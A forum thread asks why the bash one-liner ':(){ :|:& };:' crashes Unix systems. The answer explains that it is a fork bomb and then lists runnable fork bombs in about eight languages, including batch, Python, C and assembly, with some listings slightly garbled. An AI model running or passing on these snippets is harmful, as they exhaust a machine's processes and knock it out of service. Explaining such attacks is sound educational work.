Why does this make *nix crash ?

Question

why does
:(){ :|:& };:
make my system crash ?
* Don`t try it if you don`t want to crash your box

Answer 1

:(){:|:&};:
can also be viewed as
function(){
function|function&
Does this look more familiar? It's basically a standard bash function. The code you posted, called a forkbomb, creates a bash function called ":" which calls itself recursively twice through a pipe and sends the recursion call to the background. Basically, this causes the process to fork (or split) itself forever. This creates a huge number of processes which overrun your CPU, causing your precious computer to freeze/crash/whatever.
Sending the second function call to the background causes the calling function to not wait until the call returns. Since there is no stop condition for this recursion, the function would wait forever allowing you to kill it and all its children with ^C. Since the recursion call is running in the background, the calling function will complete immediately making it damn near impossible to kill its child processes.
So why call it twice? Because of the recursive call in the background, the calling process dies as soon as it makes the recursive call. Hence, if we only call it once it will always have one process replacing its parent, defeating the purpose of a forkbomb.
What's the point? It's a denial of service attack, plain and simple.
Various other type of forkbombs...
Windows
%0|%0
-or-
:s
start %0
%0|%0
goto :s
Perl
fork while fork
Haskell
import Control.Monad
import System.Posix.Process
forkBomb = forever $ forkProcess forkBomb
Python
import os
while True:
os.fork()
Ruby
loop { fork }
C/C++
#include <unistd.h>
int main(void)
while(1)
fork();
return 0;
NASM
section .text
global _start ;Call start
_start:
push byte 2 ;syscall to Linux fork
pop eax ;set EAX argument for fork to NULL [So it works in strings]
int 0x80 ;Execute syscall with fork & the EAX [null, above] argument
jmp short _start ;Go back to beginning, causing a fork bomb
Lisp
(defmacro wabbit () ;; A program that writes code.
(let ((fname (gentemp 'INET)))
`(progn
(defun ,fname () ;; Generate.
nil)
(wabbit))))
(wabbit) ;; Start multiplying.
* Disclaimer: It's not my fault if you fuck up your system trying these out.
** Edit: Wow... in the time it took me to write that up a crapload of people answered the question... oh well.
Last edited by Ghost1227 (2009-06-21 14:02:55)